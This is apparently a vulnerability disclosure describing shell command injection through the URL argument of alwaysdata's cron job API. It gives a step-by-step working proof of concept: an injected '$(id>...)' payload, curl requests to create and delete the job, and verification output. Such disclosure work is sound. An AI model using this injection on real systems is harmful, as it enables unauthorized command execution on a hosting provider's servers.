Security vulnerabilities

The cron job feature's TYPE_URLS type is documented as accepting "a list of URLs to request" — it is designed to fetch URLs via curl, not execute arbitrary shell commands (TYPE_COMMAND exists for that). However, the API accepts a single-quote ' character inside the URL argument without rejection. By injecting '$(cmd)' into the URL, the shell quoting is broken and cmd executes as a real command on alwaysdata's jobs server under the account's UID.

Prerequisites: Any alwaysdata account (free plan). API token from https://admin.alwaysdata.com/token/.

Step 1 — Write payload to file (prevents local shell expansion):
cat > /tmp/job.json << 'EOF'
{
  "type": "TYPE_URLS",
  "argument": "http://x.com/'$(id>/home/YOUR_ACCOUNT/www/rce_proof.txt)'",
  "date_type": "FREQUENCY",
  "frequency": 1,
  "frequency_period": "minute"
}
EOF

Step 2 — Create the malicious cron job:
curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
  -X POST "https://api.alwaysdata.com/v1/job/?format=json" \
  -H "Content-Type: application/json" \
  -d @/tmp/job.json \
  -w "\nHTTP STATUS: %{http_code}\n"
Expected: HTTP STATUS: 201 — single-quote inside the URL is accepted with no error.

Step 3 — Wait up to 60 seconds for the cron to fire.

Step 4 — Verify RCE:
curl https://YOUR_ACCOUNT.alwaysdata.net/rce_proof.txt
Expected output:
uid=XXXXXX(YOUR_ACCOUNT) gid=XXXXXX(YOUR_ACCOUNT) groups=XXXXXX(YOUR_ACCOUNT)
This file was created by the injected id command running on alwaysdata's server.

Step 5 — Clean up:
# Get JOB_ID from the Step 2 response header Location or re-list jobs:
curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
  "https://api.alwaysdata.com/v1/job/?format=json"

curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
  -X DELETE "https://api.alwaysdata.com/v1/job/JOB_ID/?format=json"